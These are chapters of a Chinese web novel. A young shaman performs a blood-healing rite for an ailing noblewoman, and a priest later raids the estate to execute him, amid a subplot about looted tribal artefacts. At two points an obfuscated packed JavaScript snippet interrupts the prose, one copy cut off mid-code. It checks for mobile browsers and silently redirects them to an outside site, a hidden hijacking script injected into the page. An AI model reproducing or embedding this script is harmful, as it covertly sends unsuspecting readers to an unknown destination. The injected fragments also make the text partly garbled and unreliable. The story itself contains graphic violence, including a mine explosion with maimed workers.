仪式的场地,并非选在辉煌的会客厅,而是在主楼房后的花园草坪上。草坪的正中一个废弃已久的喷泉池边,干涸的池底铺满了落叶和淤泥。水池上有一座手持水瓶、面容模糊的天使石雕,他在月光下倒影扭曲,翅膀斜指向黑暗的天空。 在雕像的面前,是熊熊燃烧的篝火。 别墅的四周生长着茂密的高大椴树,他们扭曲的枝干在月光下形同鬼魅般起舞,又像是卫兵,守护着院内即将发生的秘密。 里奥尼德陪同萨哈良在收藏室内更衣、装扮。 “这件法袍很适合你,萨哈良。” “小伙子很有眼光,我也这么认为。” 鹿神在一旁附和着里奥尼德的话,他的眼神中透露出一丝部族未来后继有人的欣慰。 萨哈良在仆人搬来的落地穿衣镜面前左晃右晃,欣赏着身上的法袍。仍在部族中时,他就幻想过有一天站在乌娜吉老萨满的位置,为部族占卜未来,宣读神谶。 在他整理自己的仪容时,从袍子里面掉出来一个小小的皮制信筒。里奥尼德正沉浸于欣赏眼前异域文化的具象化身,只是随手扔到了办公桌上。 那件法袍的皮子出自一匹高大的麋鹿,它正好盖住脚面,不长也不短。身上的铃铛和骨片随着他的走动轻轻发出声响,彩色的布条也随着他的动作摆动着。 但他并不喜欢那件鲜艳的羽冠,它和部族的形制不同。萨哈良更喜欢鹿神头上斜挂着的那个象征神明杀伐力量的狰狞面具,这才能展现萨满背后那荒野吞噬万物的伟力。 “我知道你想要我头上这个,我也想借你玩玩,但这不可以。” 鹿神发现了萨哈良的眼神,幽幽的说道。 “接下来是不是该戴上羽冠了?”里奥尼德抱着那顶头冠,准备戴到萨哈良的头上。 萨哈良当然明白,他朝里奥尼德摆摆手,说道:“不了,我不喜欢这个花哨的东西。” 他只是伸手解开了自己束起的头发,这样就够了。 离开收藏室前往屋后的花园时,里奥尼德一直在旁边搀扶着萨哈良,生怕他踩到裙摆的边缘,从楼梯上滚下去。尽管萨哈良不停的说自己走就可以,但里奥仍然不愿意将他放开。 “好啦,我的祭司,你可要安全的抵达仪式场地,现在我就是你的侍祭。” 里奥尼德在萨哈良拒绝的时候,这么笑着说道。回想到在部族时,那些萨满姐姐也是这么照顾乌娜吉奶奶的,萨哈良倒也放下心来。 “等仪式开始时,我会送你属于自己的面具。” 鹿神飘在萨哈良的身后,低声说道。但他并不理解鹿神话中的含义,神明的想法,难以揣测。 来到花园时,别墅内所有的仆从都聚集在了这里,身上黑白两色的制服在黑暗之中形成了诡异的仪式感。他们都低着头,有些年轻女仆害怕得肩膀在轻轻发抖,悄悄握紧身边同伴的手,或者低声诵读着经书中的章节,试图驱散眼前这位异教徒身旁萦绕的邪灵。 他们之中没有人敢正眼看着这位年轻的萨满,仿佛每看一眼就是对自己信仰、自己神明的亵渎。 “主人,我们真的要这么做吗?这是亵神的行为......” 就连那位一向沉稳的老管家也斗胆走上前来,试图劝说里奥尼德收手。 “我雇你时间不久,这么快就敢对我指手画脚了?” 里奥尼德瞪了他一眼,那管家只好悻悻退下。 伊琳娜坐旁边的椅子上,她顾不得拿着手帕了,只是用手捂住嘴,一直在低声的咳嗽着。因为呼吸困难,她原本白皙的皮肤憋得泛红,嘴唇也有点发紫了。 看到他们走来,旁边的女仆低着头将她搀扶起身。 “里奥,刚刚我都没敢认......这真的是萨哈良吗?那个温柔和善的少年?” 伊琳娜有些吃惊的瞪大了双眼,看着穿着萨满法袍的萨哈良。她说的话让萨哈良感到有些不好意思,只好沉默不语,像真正的大萨满那样。 萨哈良身上宽松的袍子在地上投射出了巨大的阴影,每当他迈出一步,身上的饰物便发出哗啦啦的响声。尽管没有部族萨满那种形象恐怖的面具,但他披散的头发仿佛回到了上古时期,那些曾与神灵并肩驰骋于天地间的大巫。 萨哈良走进场地中央之前,先是脱去了鞋子。但他的脚可没有乌娜吉那样的老茧,草坪中偶尔有一些树枝,刺得他生疼。 见他慢慢进入状态,里奥尼德站在伊琳娜身旁,陪她一同迎接异域的神迹。 “然后呢?我怎么开始啊?” 但萨哈良可没有进入状态,他好像全忘干净了一样,悄悄的小声询问鹿神。 “唉,没了我,你不就出大丑了吗?” 鹿神抱起手臂,在他的正前方笑着说。 萨哈良皱起眉头又撅起了嘴,看上去好像准备撂挑子了。鹿神赶紧补救道:“好了好了,别急啊,看我示范。” “起势,敲鼓,一声,按住银铃。” 萨哈良生疏的照做,低沉的鼓声瞬间传遍了寂静的庄园,惊起了那些藏匿在椴木林之中的鸟群。 那些胆小的女仆哆嗦着用双手捂住了脸,有些信仰虔诚的则是捂住了耳朵。 “将鼠尾草的碎屑撒进篝火中。” 里奥尼德早就将它们准备好,放进面前的陶罐中了,原来这就是收藏室中香料味道的来源。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最后一句也不用鹿神教了,随着萨哈良的力竭,他的理性完全消失,已经进入了忘我之中。手臂与双脚的动作愈发诡异,好像提线木偶一般,正像是山林之中因为鹿神神力而暴起袭人的公鹿。 每当他的脚跺向地面时,那些仆人的肩膀也被吓着耸动,隐隐约约还能听到啜泣声。 “拔出仪祭刀,舞蹈!” 萨哈良已经先鹿神一步拔出了腰间的刀,寒光在他的身旁舞动着,手中萨满鼓上的银铃应和着刀刃的反射出的火光,刀柄上的三颗宝石随着手指的活动相继散发出五彩的光芒。 “最后,我再给烈火添点柴!” 鹿神抬起左手将额头上狰狞的面具拉到脸上,随后伸出了右手,他修长的指尖在仪祭刀的刃口舞动至萨哈良的额头时,优雅得向右轻轻一划—— 萨哈良前额撕开一道长长的伤口,像是一只眼球在挣扎着钻出。粘稠的鲜血顺着面颊流下,遮盖住了他本来的眼睛。但他的眼皮也并未就此合上,就这样,血红的双眼和脸庞像是带上了面具。 里奥尼德和伊琳娜已经看得痴迷了,他们的眼中映照着火光前萨哈良那舞动的身影,甚至伊琳娜已经忘记了压在嗓子上的病痛。 仆人们的职业素养让他们还没有逃去,但胆小的女仆已经跪在了地上。 年轻萨满血红的双眼扫视着众人,似乎在搜寻着恶灵的踪迹。突然,他锁定了伊琳娜的位置,像林间奔腾的牡鹿般朝着她跑了过去,伴随着他身侧深夜冷风的,还有仆人们向后退避的脚步。 萨哈良覆盖在鲜血面具后的眼睛死死盯着伊琳娜的脸,里奥尼德颤抖的手轻轻拍了拍她的肩膀。 伊琳娜鼓起勇气站起身,努力平复心情,缓缓说道: “恭......恭请鹿神为此身祛除灾厄。” 萨满在得到回应之后,将脸上的鲜血洒到她洁白的长裙上,喉咙间像是石头摩擦般低沉发出了声音: “速离此身,重归荒泽!” “灾厄已除,祝尔六十年疾无。” 说罢,萨哈良就倒在了地上。 “快去取清水和毛巾来!”里奥尼德抱起了倒在地上的萨哈良,转头向那些吓傻了的仆人们喊道,他们还在念着经书上的语句。 伊琳娜也从椅子上起身,轻轻拍着他问道:“萨哈良,你还好吗?” 仆人取来毛巾之后,两人一同帮他擦着脸上的血迹。 “怎么会......脸上没有伤口?” 她掀开萨哈良因为血液而黏连的头发,不停的擦拭着他的额头。 “我没事......只是累了,伊琳娜你好点了吗?” 萨哈良很快就清醒过来,他看着两人担心的面孔,还不忘询问着伊琳娜的病情。 “我?我好像真的没事了......但你额头怎么会没有伤口......” 伊琳娜抚摸着自己的喉咙,她原本泛紫的嘴唇重新显出血色,皮肤也不像第一次在马车上见到时那么的惨白了,白皙之中透着红润。 里奥尼德也注意到了这一点,他像一个狂热的信徒般大喊到: “神迹!这就是神迹!上帝已死!我们需要新的神明!” “萨哈良,你就是我的查拉图斯特拉!” 萨哈良完全没听懂他在说什么,有点晕晕的问道:“察什么多斯拉?” “哈哈哈哈哈,别管他,前阵子国外的书看傻了。” 重新恢复健康的伊琳娜笑着拍了拍里奥尼德,示意他不要吵到萨哈良。 看着在神迹面前几近癫狂的里奥尼德,鹿神站在一旁冷笑了一声。在他们两人盯着萨哈良的热切目光之后,鹿神那白色长袍外笼罩的光芒变得更加明亮,金丝缝制的符咒也清晰了许多,正与满月争辉。 先前那只穿梭于庄园之中的小小黄鼬被人群产生的热量吸引而来,它黑色的瞳孔里是慢慢熄灭的篝火。随后,在黎明到来前,黄鼬跑向茂密的椴木林之中,隐去了踪迹。 19.三颗方糖 那寂然无踪的伤口像是一道圣痕,它消失在了年轻萨满的额头,却深深划在了里奥尼德如擂鼓般跳动的心中。 时值午夜,别墅的主人让仆从为萨哈良准备好客房,黑漆漆的庄园笼罩在夜幕的魅影之下。一切安排妥当后,那少年在篝火前诡谲神秘的舞姿始终在他的眼前旋转着。鲜血织成的面具之下,他野性凶猛的眼神仿佛仍在盯着世人,让里奥尼德仍未抹平心中的悸动。 不仅是他,伊琳娜也躺在自己的卧室中辗转反侧。 一向自诩理性的伊琳娜,第一次在深夜荒野吞没万物的力量面前承认人类的渺小。从幼年起她就接受了科学的洗礼,无论数学或者化学,佶屈聱牙的理论从来没有难倒她。 身为矿产大亨的女儿,父亲从小就十分宠爱机敏好学的伊琳娜,尽管她过于激进的理念与帝国的公序良俗格格不入,时常惹来麻烦。童年的伊琳娜最爱的娱乐,就是与父亲和为她请来的家庭教师,一同在矿山的远处,挑一处能俯瞰全景的视角,欣赏开山拦河的景致。 “父亲,为什么那些小小的液体可以炸开——那么大的一座山呢?” 小小的伊琳娜坐在自己小小的儿童椅上,时不时拿起剧院常用的小望远镜,歪着脑袋向父亲提问着。 那是仲夏炎热的一天,猛烈的阳光炙烤着脚下的土地。仆从们将太阳伞支在了树荫处,旁边铅制的厚重冰箱里正放着果汁和酒。那些只要掀开盖子,顷刻融化的冰块,就是他们半个月的薪水了。 要不是陪着自己心爱的女儿,伊琳娜父亲才不会在这种鬼天气跑到外面来。他略显肥胖的身体受不了高温,只好解开几颗扣子,用手帕擦着自己脖颈流下的汗水。身旁那些仆人给他递上新的毛巾,又将酒杯不停斟满冰凉的香槟。 “哈哈,伊琳,这个问题我也不知道,可以问问你的老师。” 伊琳娜的老师是一名刚刚从大学毕业不久的小贵族,他厚实的镜片背后是锐利的眼睛,紧盯着山下那些搬运炸药的工人。 “那种物质名叫三硝酸甘油酯,将它浸润硅藻土再由微量的火药引爆,就可以释放出毁天灭地的力量。” 年轻的学者并不知道怎么将知识以小孩子能听懂的话语表述出来,伊琳娜听得云里雾里,只好点点头。她的自尊心不允许她有不理解的理论,但现在,她也只能拿起水晶杯,小小啜饮一口冰镇的橙汁,掩饰尴尬。 小孩子嗜甜,仆从怕她觉得橙汁太酸,又放进去了三颗方糖。伊琳娜一边喝一边摇晃着杯子,看着里面慢慢融化的糖在阳光下,像丝绸般向上舒展。 “先生,我觉得这样炎热的天气,在烈日下工人搬运炸药是不是太危险了?” 家庭教师小声的对伊琳娜父亲说道,自知没有底气指责他的行为,只是无法违背良心。 伊琳娜父亲本就因为酷暑,一肚子火气无处发,正好低声训斥道:“伊琳想看,就炸开这座山,有什么问题?” 见教师低着头,他更是生气了:“你只需要负责给她讲明白原理,做不到就换人。” 山脚下那些忙碌的工人赤裸着上身,黝黑的皮肤由于不停流出的汗水,在烈日下变得油亮。偶尔有些难当暑热的苦役倒在地上,被监工喊人搬走。 这是一座刚刚勘探完成的矮山,植物学家通过这里过分茂密生长的问荆草,判断此处可能有煤矿矿脉存在。得知这个消息,伊琳娜父亲与军方就迅速抢占了这片山区。倘若真的炸出了煤,那么它将出现在战争前线的火车上,为帝国英勇无畏的战士运送物资。 假如没有煤,炸开的山石也会被烈火焚烧,碾碎制成石灰,出现在首都那些达官贵人豪宅中的墙壁上。 工人们小心翼翼的从骡子搬运上来的木箱中取出炸药,塞进提前挖好的孔洞中,随后填入火药。但这么热的天气,哪里还能平稳的干活呢? “轰!” 一声巨响,山体仿佛有了生命,在痉挛抽搐着,碎裂的岩石如雨点般飞溅,漫天洒落,大大小小的石块呼啸着坠下,砸入地面,又溅起更高的烟尘,空气中久久弥漫着刺鼻的硫磺与尘土混合的气味。 好在他们离得够远,但脚下的山都在摇晃。桌子上的高脚杯倒了,树枝上的枯叶也掉了下来,那些珍贵的冰凉果汁流得到处都是。 伊琳娜捂住头上的软帽,生怕被树枝砸着。当她再次抬起头时,透过望远镜看到,那些簇拥着、搬送木箱的工人已经被爆炸崩开。有些人的肢干不知道飞到哪儿去,仍能站起来的幸存者,还有的正捧着自己因为冲击波而从眼眶中脱出的眼球,黑洞洞的血窟窿望着山上的众人。 “先生......我要不先带小伊琳回去吧......” 被这幅炼狱景象惊吓得颤抖的家庭教师努力站起身,挡在伊琳娜的面前。 “懦夫!” 伊琳娜父亲并没有被事故吓到,而是怒斥着年轻的老师。 “伊琳,看好了,那被炸开的山石下面是什么!” 伊琳娜避开身前的老师,扭着头,三人一同看向山脉上被炸开的断层—— 随着浓烟渐渐消散,山脉的断层终于裸露出来。巨大的创面之上,赫然现出一片如墨水般纯粹的黑色。那些煤矿石光滑如镜面,在烈日的照射下泛起了蓝色的幽光,世间最珍贵的宝石也不如它看起来喜人。煤层的纹理清晰可辨,矿脉如一道黑色的闪电,在层层叠叠的岩石之间纵横伸展,更有一些尚存的动植物化石隐约其间。 仿佛大地母亲被置于解剖台上,脏腑与骨骼,此刻赫然展露于世。 “年轻人,记住了,这么点人命的钱买得下煤矿吗!他们的付出足够帝国再开辟一片疆土了!” 狂妄的中年人站起身,他疯狂的大笑久久回荡在山谷之中。 久远的回忆让伊琳娜的意识都变得恍惚了。深夜的别墅里只剩下几盏夜灯还亮着,仆从们也休息了。她借着月光,拿起桌面上尚未熄灭的昏黄油灯,独自游荡在空无一人的走廊中。 事实上,伊琳娜从未想过那部族少年小小的身体可以迸发出如此震撼的力量,就像是那场烙印在她童年记忆深处的爆炸。 伊琳娜还记得轻轻拂开萨哈良的头发时,那渐渐干涸的血液与发丝在一起,黏腻的粘连在皮肤上。她的指尖不停抚摸着少年的前额,却始终找不到伤口的痕迹。 尽管里奥尼德提议进行仪式时,伊琳娜脱口而出这是亵神,但她知道,这么说只是因为多年来和父母一同参与礼拜带来的惯性而已。 “伊琳娜,你今天不是参加毕业典礼吗?” 时间又回到了数年前,她仍然年少的时候。 某天春日的午后,温暖的空气洋溢在街道上。阳光透过街旁的树木洒在地上,眼前所见都是一片朦朦胧胧。 伊琳娜刚刚从贵族女子学校毕业,那漫无止境学习贵族女性礼仪和鉴赏优雅艺术的日子早就让她厌倦,眼下她迫不及待的敲开老师家的门,想要试着走向一条崭新的道路。 “老师!我这不是刚刚结束典礼,就跑来看您了吗?” 这么多年来给伊琳娜担任家庭教师,他也早就不是刚毕业时的那个窘迫的穷学者了。如今能在首都不错的地段买下房子,自己独居在那里。现在,他已是著作等身,同时在大学中担任着教职。 老师从一个锡制的罐子中倒出些茶叶,给伊琳娜沏好水,又细心的给她放了三颗方糖。 “不好意思伊琳娜,我家的茶叶不好,你随便喝喝吧。”他将茶杯轻轻端到了伊琳娜的面前,笑着对她说道。 她也笑着回应老师:“您太客气了,下次我给您带些好的不就行了。” 由于刚刚从典礼离开,还没来得及换衣服,伊琳娜穿着白色的帝国式高腰长裙,像晨雾般从锁骨倾泻而下。那高高的腰线旁缀满了以蕾丝编织而成的矢车菊花纹,随着视线的变化泛起珍珠贝母的光泽,像是河水的波光。 头发又盘成了东罗马式的螺旋发髻,头顶压着细金丝绞制而成的月桂叶冠,右肩一道长长的深蓝色绶带贯穿其中。 这一切令教师朴素的小屋熠熠生辉。 “怎么样,毕业典礼开心吗?里奥尼德有没有去送你?” 看着他一手带大的小女孩到如今落落大方,老师已经难掩嘴角的笑意了。 “毕业当然开心了!里奥今天早上和管家一起来接我的,现在他的马车还在外面。” 听着伊琳娜这么高兴的说,老师点了点头。 他拿起茶杯,喝了一口说道:“真好啊,学生与军人,就应该是这样的。” 但伊琳娜并不理解老师的意思,她疑惑的问道:“军人?谁是军人?” “里奥尼德是军人啊。”老师说罢,笑着看向伊琳娜。 “不不不,您搞错了,里奥是学者,他刚刚考上帝国大学了。” 伊琳娜完全不理解老师怎么会说出这么奇怪的话。 “哈哈,你不懂的,他当不成这个学者。” “不可能,里奥一定能成为学者!”见老师还在这么说,伊琳娜有些微微生气了。 老师叹了口气,只好让步,说道:“好吧好吧,来聊聊你今天找我干嘛,我觉得不会只是想看看我吧?” 伊琳娜拿起杯子,用茶匙轻轻搅拌,茶水的苦涩与方糖的甜蜜恰到好处。 “其实......我想让您辅导我化学,然后我要出国留学。” 老师对她说的话也同样不理解,他靠在椅子上问道:“等等,我们把这个问题分开来说,第一,你怎么会想学化学?” “您还记得,我小时候看到的那次矿难吗?”伊琳娜向他提起了这次久远的回忆。 “矿难啊......对,我还有印象。” 老师扬起头,看向天花板,回忆起了那一天。 “其实我知道当时的情况是与高温有关,所以我一直想有没有办法改进炸药,让它可以更安全。” 伊琳娜有些兴奋的向老师说着自己的抱负。 “原来你是这个原因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145152|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才想要学化学的啊......厉害,很有理想。”老师说完朝着她竖起大拇指。 “嘿嘿,所以我才想要上大学。” 听她说完,老师有点不知道该如何解释,他收起了脸上的笑容和伊琳娜说道: “但是伊琳娜,这个事情恐怕没有那么简单。” 伊琳娜听他这么说,表情有些紧张。 “为什么,我出国留学不就好了?国外有允许我入学的地方。” 老师也不忍就这么破坏她的理想,但也只好说道:“恐怕不行,你与里奥尼德有婚约,他父亲是元帅,如今战事不断,你们这些家眷是出不了国的。” 伊琳娜从来没有听过这些话,她惊讶的说:“婚约?我怎么没听说过有这种东西,而且我是他的表妹啊,这样不是近亲结婚吗?” “傻孩子,整个帝国的贵族恐怕只有你不知道你们两家世代连绵不断的通婚吧?至于近婚嘛......也有例外的。”老师对这种事也感到无奈,只好不停的倒茶、喝水。 看着伊琳娜低着头,沉默不语,老师给她讲起了别人的事。 “要是说出国留学,倒不是不行,之前有个女数学家,嫁到国外,就用这种方式上了大学。” “但是吧......里奥尼德已经入学了,只能他从军,然后外派出去。”老师顿了顿,又接着说:“我也就随便说说的,能看得出来,伊琳娜也不希望他当兵吧?” 听他这么说,伊琳娜突然站起身,给老师吓了一跳。 “老师,如果我嫁给您,您带我出国,可以吗?” 老师可没想到她能说出来这种话,他扶了扶鼻梁上的眼镜,黑色的碎发已经能看出来些许银丝缀在其中。 “伊......伊琳娜,这孩子,你在说什么傻话?” “告辞!” 话说到这,伊琳娜感觉已经没脸再待下去了,她气冲冲的拿起手包,推开门朝着里奥尼德的马车快步走去。 伊琳娜慢慢从回忆中抽离,已经好久没有想起过这段时间了。 刚刚在想到这时,伊琳娜忍不住笑出了声。还记得那个时候,她从老师家离开后,在马车上朝里奥尼德发了好大一顿脾气,但可怜的里奥始终不知道是为什么。 童年时的理想最终慢慢化为向命运低头时的无奈。原本父亲送她去贵族女子学校就只是为了提高身价,作为与里奥尼德家族联姻时的筹码。可惜那时她还小,只是兴奋的以为可以上学了而已。 在贵族礼仪、信仰和艺术上消磨的时间,只能不断的努力补回。即便是来到远东,她也不忘带上自己的瓶瓶罐罐,用自己没有上过大学的短浅学识做实验。但意义不大,伊琳娜只好将视野放到了科幻小说上。 像《弗兰肯斯坦》的作者那样。 伊琳娜拿着手中的油灯,走到了地下室中。那些化学试剂和玻璃容器在昏黄灯光的照射下,发出五颜六色的幽光。 她站在中间,感觉自己就像小说中造出缝合怪物的疯狂科学家一样。 “对!邪恶科学家!” 伊琳娜突然找到了灵感,她兴奋的在地下实验室里大喊大叫,就像冲出浴室的阿基米德大喊着“尤里卡!” “自远东而来的,原住民少年!突破万难考到帝国大学成为一名疯狂的科学家!” 兴奋的伊琳娜抄起一旁的钢笔和记录实验的本子,笔尖在纸上划出煤黑色的墨迹。她狂热的书写着这部长篇小说的大纲,直到地面上突然传来一声剧烈的闷响。 在里奥尼德的耳畔,萨满鼓的声音仍在响起,不停敲击着他的心脏。他在卧室中来回踱步,望着庄园大门外那片郁郁葱葱的椴木林。看了一会后,他想,既然睡不着,不如索性去收藏室呆会吧。 看来,萨哈良那属于荒野的狂野舞步让庄园里的人们都难以入睡了。 那件宽大的萨满法袍,又被挂回了人形木架上,只是萨哈良讨厌的羽冠还扔在旁边。经过仪式之后,铜铃和骨制护符折射出的月光似乎黯淡了许多。 里奥尼德轻轻抚摸着鹿皮上那些属于萨哈良的血迹,它们顺着牡鹿的毛孔和皮肤肌理,洇染出奇怪的纹路,像是附魔了的咒符一般。由于时间过去的不久,还没有干涸,血迹沾在了里奥尼德的指尖上。 当意识到时,他像触电般收回了自己的手指,不愿自己尘世的躯体污染了圣洁的法器。 原本想转身走远一些,继续在月光下欣赏这件来自异域的造物,回味着刚刚祭祀上出现的神迹。 但他却瞥到了之前从法袍中掉出来的小信筒。 “这是......” 里奥尼德轻轻打开了信筒,不知道是什么时候里面已经浸过污水了,信纸皱巴巴的,难以辨认上面的文字。 他用开信刀将信纸展平,也忘记了去打开灯。只是拿起了书桌上的单片眼镜,在月光下,仔细阅读着已经模糊、歪歪扭扭的字母。 豆大的冷汗从里奥尼德的额头上冒出,滚落到了信纸上。 20.圣物匣旁的枪声 贼头贼脑的黄鼬从夜幕下的庄园溜走后,抬起前爪摩挲着自己乌黑油亮的眼睛,大摇大摆的穿行于乡村中的林荫小道上。 随着气温升高,原本冻得坚实的土地也开始慢慢化冻。乡下泥泞的小路上遍布马车的辙印,倘若要是晚上摸着黑出门,很容易就被绊一跟头。 但机巧的黄鼬没有这样的担心,它修长的腰身和油光水滑的毛发在道路和灌木丛之间来回穿梭,即便是叼走农夫精心饲养的母鸡也没人敢打它。毕竟,农村中迷信的人们将它视作荒野中的仙灵,可以护佑苍生。 但眼前那一队借着月光夜行的士兵,可没打算给它让路。 一声短促如鸟鸣的口哨声划破空气,那是帝国的骑兵在黑夜中行进。为了防止打草惊蛇,将马蹄裹上厚厚的麻布,马嘴则被牢牢勒住。他们黑色的制服融入夜色,长枪挎在背上,枪尖的刺刀闪闪发亮。 为首的是名神父,他穿着黑布长袍,看起来小镇中的那些级别更高,黑布的边缘还缀着金线钩织出的纹样,法衣的前襟浸透了前夜宴会上的酒渍。肥胖的身躯把马的脊背都压弯了,圆滚滚的肚子驮在马鞍前面隆起的地方。 神父稀稀拉拉的留着些胡子,头顶油亮,他志在必得的笑容好像已经对这次出行的目标胸有成竹。 在神父的身后,几名缓慢步行的士兵扛着一个圣物匣,它被猩红的天鹅绒覆盖,即使在微弱光线下,也能看出轮廓与边缘繁复精美的镀金雕饰。那些士兵紧密的将它护在中间,防止遭遇危险。 骑兵们静悄悄的来到了一座豪华的庄园门前,在骤起的夜雾中,显得狰狞恐怖。 此时庄园的管家仿佛等待已久,他蹑手蹑脚的从屋里走出,门房中透出的微光照亮了庄园管家那张因为恐惧而惨白扭曲的脸,汗珠慢慢在额头凝结。当骑兵鱼贯而入时,管家还不忘转身指向目标所在的房间,直到他看到了盖在红色衬布下的圣物匣。 管家一下跪在了地上。 里奥尼德还在收藏室中仔细辨认着那张皱巴巴信纸上的文字。他脱去了外套,只剩解开几枚扣子的衬衫掖在军裤中,头发也揉得乱糟糟的,冷汗正从鬓角处慢慢流下。 “帝国极东边疆区猎兵营 致......卖行经理 愿此信在........佑下安全抵达您手中。 本营指挥官荣幸地向您报告,关于您于去年五月末,转交尊贵的“黄鼠狼”先生之委托——即于帝国新近控制之........收集当地土著之器物、饰品及具有显著异教特征之仪式用具,已遵照执行,并竭尽全力履行此使命。 包括数件..........制神偶、缀有奇特........皮服饰、以及若干样式古怪的桦树木器皿与骨制渔猎工具。 为贯彻皇帝陛下关于优待土著民,以防东瀛间谍渗透之方针,我们积极与土著人接触,许诺与少量食盐铁器交换。但当我们试图搬动一座巨大木雕时,对方突然失控,发出刺耳嚎叫。 他们未经警告便向我士兵投掷石块、长矛,...........木弓进行射击。其攻击虽原始,但于密林之中异常凶猛。 为求自保,本营...........” 尽管信件中大多数文字都因为水泡而难以辨别,里奥尼德也能猜出来其中发生了什么事情。早在先前他来到远东军区驻地报道时,就有从那些军官聊天时,听到过“猎鹿、猎野猪”等等黑话。起初他真的以为是这边的军人热衷于打猎,但现在看来似乎不止于此。 里奥尼德抬起手,用白衬衫的袖口擦了擦额头的汗。他继续用开信刀展开纸卷的后半部分。 “..........萨满法袍一件,为方便您转卖,可假托新大陆原住民之名。另外,也请“黄鼠狼”先生务必谨慎,避免本营因违反陛下意旨,而遭到处分。” 原本他以为这是从新大陆买来的,但显然并不是,难怪萨哈良讨厌那顶羽冠,现在看来多半是伪造的。信读到此时,其中涉及事件的恶劣,已经昭然若揭了。 倘若是早前仅仅以研究为名,接触当地土著居民,也许他还能装作没看见。但现在结识了部族少年萨哈良,里奥尼德不知道该如何面对眼前的事。更何况,这所谓“黄鼠狼先生”是何方神圣?其中涉及的私自处置战利品问题,劫掠而来的土著器物被转卖何方?是否存在通敌行为? 但院中传来的嘈杂声打断了他的思路。 他隔着窗户向下望去,庄园的铁门已经大开,全副武装的骑兵手持火把将别墅主楼团团围住。在他们正中,穿着黑袍的神父正背对着金光闪闪的圣物匣,对着被在按在地上的熟悉身影,手持经书口中念念有词。 里奥尼德来不及犹豫了!他拔出腰间的佩枪,朝着楼下跑去。 “野蛮人萨哈良!汝之灵魂,已为魔鬼的呓语所俘,背离圣教,亵渎真神!今奉神圣教会与至尊皇帝陛下之命……” 他的声音拔高,带着一种近乎歇斯底里的尖锐,“以圣遗骸之无上荣光,涤汝污秽之灵!处以枪决!” 神父的声音像被踩到脖颈的鸭子,那尖利粗糙的声音在庄园中回荡。 他身后的士兵,一齐掀开了圣物匣上覆盖的猩红天鹅绒。匣盖缓缓开启,在月光的映衬下,匣内深色丝绒垫中,半截枯黄的桡骨静静躺着,上面有火烧的痕迹,末端则是镶嵌着璀璨夺目的宝石与黄金。 那耀眼的光芒似乎想要净化异教徒的罪恶。 “萨哈良,不必在意他们的废话。” 因为前夜萨满仪式耗费的体力,萨哈良倒在客房的床上就沉沉睡去,鹿神也沉湎于冥想之中,谁也没能发现被内应偷偷放进来的官兵。 那些军人可不是小镇里的混混了,他们手脚麻利,迅速就将萨哈良拖到庄园院内的碎石子路上。 听到鹿神的声音之后,萨哈良挣扎着在地上侧过头,寻找着声音传来的方向。那些骑兵厚重的马靴踩在他的后背上,双臂被弯折在了背后。类似的待遇他已经体验过一次了,只不过这次更狼狈了。 鹿神此时已经解下了头上的面具,轻轻扣在面前,从缝隙中仍能看到他因为愤怒而扭曲的面庞。那巨大鹿角上的金线正缠在神父和周围士兵的脖子上,在他高大的身影和白色的长袍下,金色的丝线随着他的右手而慢慢勒紧。 在场的众人只是感觉到了一股莫大的压力,却不知道原因。神父还以为是袍子上沾了跳蚤,一直不停的挠着自己的脖子。 旁边的军官从腰间拔出手枪,递给了神父。 “别动!” 里奥尼德撞开了房门,将枪口对准了神父的头之后,他放慢了速度,努力平静下来,一直端着手枪走到神父面前。 “这不是里奥尼德少校吗?听闻伊琳娜夫人身体抱恙,最近可好?”神父用阴阳怪气的语气向里奥打招呼,手中的枪还不忘继续指着萨哈良。 见里奥尼德赶来,鹿神便松了松指尖的金线,防止一不小心让周围人的脑袋都落在地上。也许是因为维持随时将在场士兵斩首的状态,他耗费了大量的神力,身旁隐隐冒起了黑色的浓雾,显得更是可怖。 “神父。”里奥尼德的声音响起,不高,却异常清晰,每个音节都像马蹄砸在碎石路上,带着金属敲击般的质感,穿透冰冷的空气。“把你们按着的人放开。” 他摆了摆头,示意旁边的士兵起身放开萨哈良。世袭贵族军官的身份摆在面前,包围庄园的骑兵不得不退了一步。但没有神父或指挥官的命令,按着萨哈良的士兵谁也没敢动。 “来,解释解释为什么私闯皇帝陛下现役军官的住宅。” 里奥尼德努力压制着因为怒火而发抖的声音,他的嘴唇抿成一条没有弧度的直线,血色淡得几乎看不见。白色衬衫领口松散地敞开着,胸膛苍白的皮肤随着他的呼吸而颤动着。这毫无防备的暴露,与他周身凛冽的杀气形成惊心动魄的对比。 “有热心的信徒和我报告少校您的家中,”神父持枪的手向下点了点,并非他不擅长使用武器而露出破绽,而是对眼前的局势有着绝对的自信,“对,就在这,有人在偷偷举行异教仪式,亵渎神灵。” 神父肥胖的面庞看不到一丝恐惧,他不断的向里奥尼德步步紧逼:“我想,少校您应该不知情吧?” “这么点小事,也需要私自调动异地的驻兵吗?敌国突然入侵怎么办?”里奥尼德反问道,对于帝国军队中的规章,他可太清楚了。 神父被脖子上的瘙痒逼得心生烦躁,也懒得继续对峙了,他正色道:“有人举报,我就得处理,教会手握先帝亲许的裁判权,你有什么异议?” 听见神父提及裁判权,周围的士兵又得到了鼓舞,向前走了几步。 “世袭贵族早在帝国开疆扩土之时就在为皇帝立下汗马功劳,你和你的狗屁裁判权在哪儿?我们祖祖辈辈给帝国交的血税,可有你的一份?” 里奥尼德丝毫不畏惧神父身后的庞大势力,立刻反击道。 “执迷不悟。”神父的声音更加低沉,如同闷雷在云层下滚动,每一个音节都带着沉重的重量,敲打着死寂的庭院。 神父指向一旁的圣物匣,又看着萨哈良,大声呵斥:“以圣遗骸之名!此人乃鹿角妖附身的邪物,正是它引来灾病侵蚀伊琳娜小姐!” 